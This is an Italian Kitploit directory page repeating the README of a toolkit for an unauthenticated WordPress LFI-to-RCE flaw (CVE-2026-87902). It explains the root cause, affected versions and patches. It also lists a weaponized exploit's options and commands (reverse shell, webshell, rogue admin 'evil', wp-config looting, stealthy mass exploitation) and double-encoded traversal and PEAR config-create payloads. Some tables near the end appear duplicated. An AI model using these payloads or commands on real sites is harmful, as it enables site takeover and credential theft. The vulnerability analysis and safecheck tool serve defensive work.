Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-87902-Toolkit — Toolkit WordPress CVE-2026-87902 LFI-to-RCE con una catena di exploit weaponized (PEAR RCE, webshell, creazione admin, loot) e una versione SafeChecker non intrusiva e un risk auditor. | Kitploit
Strumenti/GitHubGitHub/tc4dy/cve-2026-87902-toolkit
Strumenti DifensiviScanner di VulnerabilitàGenerazione di PayloadExploitReverse EngineeringSfruttamento di Applicazioni WebPost-ExploitSicurezza WebPenetration Testing

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Apprendimento e Formazione
Red Teaming
GitHubtc4dy/cve-2026-87902-toolkit

CVE-2026-87902-Toolkit

Toolkit WordPress CVE-2026-87902 LFI-to-RCE con una catena di exploit weaponized (PEAR RCE, webshell, creazione admin, loot) e una versione SafeChecker non intrusiva e un risk auditor.

Vedi Repository
1222 ore faNon ancora revisionato
Condividi

CVEPoC

CVE‑2026‑87902 – Toolkit WordPress Unauth LFI→RCE

Python 3.8+ CVSS Author WordPress

SOLO USO ETICO – TEST DI SICUREZZA AUTORIZZATI
Questo repository fornisce strumenti esclusivamente per professionisti della sicurezza autorizzati, blue team e penetration tester.
L'accesso non autorizzato a sistemi informatici è illegale ai sensi del CFAA (USA), Computer Misuse Act (Regno Unito), TCK 243/244 (Turchia) e leggi simili in tutto il mondo.


📖 Panoramica della Vulnerabilità

è una vulnerabilità critica di path traversal e local file inclusion (LFI) non autenticata in (versioni dalla alla ) che consente a un attaccante non autenticato di includere file locali arbitrari tramite il parametro di query , e in specifiche condizioni del server di escalare a concatenando il file PEAR . Punteggio CVSS: . Divulgata da attraverso il programma HackerOne di WordPress nel luglio 2026. Corretta nella il 22 settembre 2026, con backport fino alla 4.7.

CVE‑2026‑87902
WordPress Core
4.7.0
7.1.1
.php
pagename
remote code execution (RCE)
pearcmd.php
9.2 (Critico)
Robert Ressl
7.1.2

La falla interessa ogni release di WordPress dal 2016 — un decennio di versioni che hanno superato la revisione del codice senza essere rilevate. La causa principale è una singola chiamata di validazione mancante in uno dei percorsi di codice più utilizzati del CMS.

Come funziona

  1. Risoluzione del template non sanificata – get_page_template() in wp-includes/template.php costruisce i candidati template dalla variabile di query pagename. Un percorso di codice adiacente nella stessa funzione applica validate_file() per bloccare le sequenze ../, ma il ramo $pagename non la chiama. Qualsiasi traversal in pagename passa senza controlli.

  2. Bypass del traversal con doppia codifica – WordPress applica sanitize_title_for_query() a pagename, che sostituisce i punti letterali (.) con trattini per prevenire il traversal. Ma la funzione opera su input già decodificato e non decodifica ricorsivamente. Un attaccante invia %252e%252e%252f; il web server lo decodifica una volta in %2e%2e%2f; il sanitizer non vede punti letterali e lo lascia passare; poi get_page_template() chiama di nuovo urldecode() all'interno della funzione, producendo ../.

  3. Precondizione della directory del tema – Il tema attivo deve contenere una directory di primo livello il cui nome inizia con page- (es. page-templates/). Il nome file costruito page-{pagename}.php sfugge quindi dalla root del tema tramite il traversal. I vecchi temi predefiniti (Twenty Twelve, Twenty Fourteen) e i popolari temi di terze parti (Neve, Hestia, Sydney) includono questa directory. Anche i temi child che ereditano da tali parent soddisfano la precondizione.

  4. Sink LFI in locate_template() – Il percorso candidato viene passato a locate_template(), che cerca nelle directory del tema. Poiché il traversal risolve in un file al di fuori di quelle directory, e la funzione controlla solo file_exists(), qualsiasi file .php leggibile viene incluso con pieni privilegi del web server. Questo rende la LFI incondizionata su qualsiasi sito non patchato che soddisfi la precondizione del tema — incluso wp-config.php con le sue credenziali del database e i salt di autenticazione.

  5. Escalation RCE tramite PEAR pearcmd.php – PEAR è incluso in molte installazioni PHP. Il suo pearcmd.php è normalmente solo CLI, ma quando register_argc_argv=On, PHP popola $_SERVER['argv'] dalla query string dell'URL. L'attaccante include pearcmd.php tramite la LFI, passa config-create come argomento e fornisce codice PHP più un percorso di output (/tmp/shell.php). PEAR scrive il codice dell'attaccante su disco; una seconda inclusione lo esegue.

  6. Seconda via di sfruttamento – Una richiesta che combina name (slug della front-page), page_id (ID della pagina dei post), preview=true e un payload pagename devia WP_Query nel suo ramo post_name, che non riscrive mai pagename tramite sanitize_title_for_query(). Questo consente punti letterali nel traversal. Richiede un tema senza single.php.

  7. Requisiti di configurazione del server – La RCE dipende da due condizioni comuni nelle distribuzioni reali: pearcmd.php presente/leggibile (frequente su shared hosting, cPanel, immagini Docker PHP ufficiali), e register_argc_argv=On (predefinito in PHP sotto la 8.5). PHP 8.5 ha cambiato il default in Off. Su un server moderno PHP 8.5+ senza PEAR, lo sfruttamento si ferma alla LFI.

  8. La patch – WordPress 7.1.2 aggiunge due livelli di difesa: (a) la chiamata mancante a validate_file() nel ramo pagename, e (b) una nuova funzione _wp_is_template_path_allowed() chiamata da locate_template() per ogni template risolto. La funzione rifiuta i percorsi contenenti .., poi risolve il percorso reale tramite realpath() e verifica che si trovi all'interno di una delle directory del tema consentite. Questa difesa in profondità chiude il sink, non solo una via verso di esso.

  9. Sfruttamento attivo in the wild – Prime richieste malevole osservate 5 ore dopo il rilascio della patch (17:44 UTC, 22 settembre 2026). Il traffico è aumentato di dieci volte nel giorno successivo. Osservate tre fasi: ricognizione config-show → rilevamento file core → weaponization config-create. I nomi dei file di payload includevano wp-pear-rce-flag.php, poc87902.php, luci_*.php, zeta_*.php, scritti in /tmp e /var/tmp. IP attaccanti: 169.58.48.193, 169.58.48.195, 2001:df1:e8c0::106b.

  10. Impatto – Esecuzione di codice con i privilegi del web server. Takeover completo del sito, furto di credenziali da wp-config.php, esfiltrazione di dati, installazione di webshell, creazione di utenti admin, reverse shell, attacchi supply-chain tramite plugin/temi modificati e movimento laterale verso servizi connessi. Il punteggio CVSS 9.2 riflette l'impatto sfruttabile via rete, senza autenticazione, con alto impatto su riservatezza/integrità/disponibilità. L'elevata complessità di attacco riflette le precondizioni del tema e del server, ma su tipico shared hosting tali condizioni sono frequentemente soddisfatte.

Versioni Affette

  • 4.7.0 – 4.7.37 – vulnerabile
  • 4.8.0 – 4.8.32 – vulnerabile
  • 4.9.0 – 4.9.33 – vulnerabile
  • 5.0.0 – 5.0.29 – vulnerabile
  • 5.1.0 – 5.1.26 – vulnerabile
  • 5.2.0 – 5.2.28 – vulnerabile
  • 5.3.0 – 5.3.25 – vulnerabile
  • 5.4.0 – 5.4.23 – vulnerabile
  • 5.5.0 – 5.5.22 – vulnerabile
  • 5.6.0 – 5.6.21 – vulnerabile
  • 5.7.0 – 5.7.19 – vulnerabile
  • 5.8.0 – 5.8.17 – vulnerabile
  • 5.9.0 – 5.9.18 – vulnerabile
  • 6.0.0 – 6.0.16 – vulnerabile
  • 6.1.0 – 6.1.14 – vulnerabile
  • 6.2.0 – 6.2.13 – vulnerabile
  • 6.3.0 – 6.3.12 – vulnerabile
  • 6.4.0 – 6.4.12 – vulnerabile
  • 6.5.0 – 6.5.12 – vulnerabile
  • 6.6.0 – 6.6.9 – vulnerabile
  • 6.7.0 – 6.7.9 – vulnerabile
  • 6.8.0 – 6.8.10 – vulnerabile
  • 6.9.0 – 6.9.9 – vulnerabile
  • 7.0.0 – 7.0.6 – vulnerabile
  • 7.1.0 – 7.1.1 – vulnerabile

Patch

  • Aggiornare a 4.7.37, 4.8.32, 4.9.33, 5.0.29, 5.1.26, 5.2.28, 5.3.25, 5.4.23, 5.5.22, 5.6.21, 5.7.19, 5.8.17, 5.9.18, 6.0.16, 6.1.14, 6.2.13, 6.3.12, 6.4.12, 6.5.12, 6.6.9, 6.7.9, 6.8.10, 6.9.9, 7.0.6, o 7.1.2 o successive.
  • Se l'aggiornamento non è possibile, rinominare o rimuovere la directory page-* nel tema attivo, impostare register_argc_argv=Off in php.ini, e bloccare il traversal con doppia codifica nel parametro pagename a livello di WAF.

[<->] Strumenti

StrumentoScopoUtente Previsto
exploit.pyToolkit completo weaponized con rilevamento LFI, catena RCE PEAR, creazione utente admin, installazione webshell, reverse shell, scansione di massa, modalità stealth, rotazione proxy e catena di attacco completa.Red team / pentester autorizzati
safecheck.pyVerificatore di vulnerabilità non intrusivo che rileva la versione di WordPress, valida l'esposizione e valuta il rischio senza includere alcun file o eseguire alcun payload. Genera report JSON.Blue team / auditor di sicurezza

[</>] Confronto Funzionalità

Funzionalitàexploit.pysafecheck.py
Rilevamento vulnerabilità✅✅
Rilevamento versione✅✅
Controllo directory page-* del tema✅✅
Raggiungibilità PEAR pearcmd.php✅✅
Controllo register_argc_argv✅✅
Sonda comportamento WAF❌✅
Sonda LFI con doppia codifica✅❌
RCE PEAR config-create✅❌
Creazione utente admin✅❌
Installazione webshell✅❌
Reverse shell✅❌
Loot wp-config.php✅❌
Catena di attacco completa✅❌
Scansione di massa (multi‑thread)✅✅
Supporto proxy✅✅
Rotazione proxy✅❌
Rotazione User‑Agent (OPSEC)✅❌
Jitter (OPSEC)✅❌
Rate limiter✅❌
Modalità non intrusiva (safe)❌✅
Report di valutazione del rischio✅✅

[+] Riepilogo Casi d'Uso

ScenarioStrumento Consigliato
Blue Team – verificare se il tuo WordPress è vulnerabilesafecheck.py
Security Audit – valutazione di vulnerabilità non intrusivasafecheck.py
Red Team – penetration testing autorizzato con sfruttamento completoexploit.py
Bug Bounty – test per divulgazione responsabilesafecheck.py
Scansione di Massa – verifica di più target per vulnerabilitàexploit.py (solo rilevamento)
Incident Response – verificare se i sistemi sono compromessisafecheck.py

[+] Installazione

root@kitploit:~
git clone https://github.com/tc4dy/CVE-2026-87902-Toolkit
cd CVE-2026-87902-Toolkit
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests
urllib3

[/] Parametri

Parametri exploit.py

ParametroDescrizione
-u, --urlURL WordPress target singolo (es. http://wordpress.example.com)
-f, --fileFile contenente la lista dei target (uno per riga) per la scansione di massa
--pipeLegge i target da stdin
--exploitEsegue lo sfruttamento dopo il rilevamento
--create-adminCrea utente admin persistente (formato: USER:PASS)
--webshellInstalla webshell tramite RCE
--reverse-shellAttiva reverse shell (formato: LHOST:LPORT)
--lootRaccoglie wp-config.php e altri file
--threadsNumero di thread per multi‑target (default: 8)
--timeoutTimeout richiesta (default: 15s)
--retryTentativi massimi (default: 3)
--proxyProxy HTTP/HTTPS (es. http://127.0.0.1:8080)
--proxy-listFile con proxy per la rotazione (uno per riga)
--proxy-rotateStrategia di rotazione proxy (round-robin, random, sticky)
--jitterJitter casuale tra le richieste
--jitter-rangeJitter min,max secondi (default: 0.1,2.0)
--delayRitardo fisso tra le richieste
--stealthAbilita modalità stealth (rotazione UA + jitter)
--insecureDisabilita verifica TLS
--user-agentUser-Agent personalizzato

Parametri safecheck.py

ParametroDescrizione
-u, --urlURL WordPress target singolo (es. http://wordpress.example.com)
-f, --fileFile contenente la lista dei target (uno per riga)
--pipeLegge i target da stdin
-t, --threadsNumero di thread per multi‑target (default: 8)
--timeoutTimeout richiesta (default: 15s)
--retryTentativi massimi (default: 3)
--proxyProxy HTTP/HTTPS
--jitterJitter casuale tra le richieste
--jitter-rangeJitter min,max secondi (default: 0.1,2.0)
--delayRitardo fisso tra le richieste
--insecureDisabilita verifica TLS
--user-agentUser-Agent personalizzato
--max-bodyDimensione massima del corpo della risposta
--concurrent-per-hostRichieste concorrenti massime per host
--excludeHost da escludere separati da virgola
-o, --outputSalva report JSON su file (.json, .csv, .html, .jsonl)
--dbFile database SQLite
-v, --verboseOutput dettagliato
-q, --quietModalità silenziosa
--no-bannerSopprime il banner

[>] Scenari

#ScenarioComando
1Verifica rapida vulnerabilitàpython safecheck.py -u http://wordpress.example.com
2Scansione dettagliata con reportpython safecheck.py -u http://wordpress.example.com -o report.json -v
3Audit di massa da filepython safecheck.py -f targets.txt -t 10 -o audit.json
4Exploit solo rilevamentopython exploit.py -u http://wordpress.example.com
5Loot wp-config.phppython exploit.py -u http://wordpress.example.com --exploit --loot
6Attacco completo con webshellpython exploit.py -u http://wordpress.example.com --exploit --webshell
7Crea utente admin persistentepython exploit.py -u http://wordpress.example.com --exploit --create-admin evil:P@ssw0rd1
8Reverse shellpython exploit.py -u http://wordpress.example.com --exploit --reverse-shell 10.0.0.1:4444
9Catena di attacco completapython exploit.py -u http://wordpress.example.com --exploit --loot --webshell --create-admin evil:P@ssw0rd1
10Exploit di massa con stealthpython exploit.py -f targets.txt -t 20 --exploit --stealth --jitter -o results.json
11Rotazione proxypython exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate random --exploit

🧪 Endpoint e Catena di Sfruttamento

L'exploit utilizza i seguenti endpoint WordPress e passaggi di sfruttamento:

PassoMetodoEndpointDescrizione
1. FingerprintGET/Rileva WordPress tramite wp-content, wp-includes, wp-json
2. VersioneGET/feed/Estrae la versione tramite meta <generator>
3. Page IDGET/wp-json/wp/v2/pagesScopre un page_id valido
4. Directory TemaGET/wp-content/themes/{theme}/page-templates/Conferma la precondizione page-*
5. Sonda LFIGET/?page_id={id}&pagename={payload}Traversal con doppia codifica per includere file locale
6. Inclusione PEARGET/?page_id={id}&pagename={pearcmd}Include pearcmd.php
7. RCE PEARGET/?+config-create+/&page_id={id}&pagename={pearcmd}&/{payload}+{outfile}Scrive file PHP tramite PEAR
8. EsecuzioneGET/?page_id={id}&pagename={outfile}Include il file scritto → RCE
9. PersistenzaGET(tramite RCE)Crea utente admin / webshell
10. LootGET/?page_id={id}&pagename={wp-config}Legge wp-config.php tramite LFI

Formato Payload

root@kitploit:~
# Esempio di traversal con doppia codifica
pagename = page-templates/..%252f..%252f..%252f..%252fusr/local/lib/php/pearcmd

# Catena RCE PEAR config-create
GET /?+config-create+/&page_id=2&pagename={encoded_pearcmd}&/{encoded_php}+/tmp/shell.php

# Trigger inclusione PEAR
GET /?page_id=2&pagename={encoded_output_path}

🛡️ Uso Responsabile

  • Usa questi strumenti solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta al test.
  • L'accesso non autorizzato è illegale e non etico.
  • Gli autori non sono responsabili per qualsiasi uso improprio.
  • Rispetta sempre le leggi e i regolamenti del tuo paese.

Questo software è fornito solo a scopo educativo e per test di sicurezza autorizzati.

Scarica lo strumento
Raccomandazioni di mitigazione❌✅
Report JSON✅✅
Report CSV✅✅
Report HTML✅✅
Output SQLite✅✅
User‑Agent personalizzato✅✅
Controllo verifica SSL✅✅
--max-bodyDimensione massima del corpo della risposta
--concurrent-per-hostRichieste concorrenti massime per host
--rate-limitRichieste massime al secondo
--excludeHost da escludere separati da virgola
-o, --outputSalva report su file (.json, .csv, .html, .jsonl)
--dbFile database SQLite
-v, --verboseOutput dettagliato
-q, --quietModalità silenziosa
--no-bannerSopprime il banner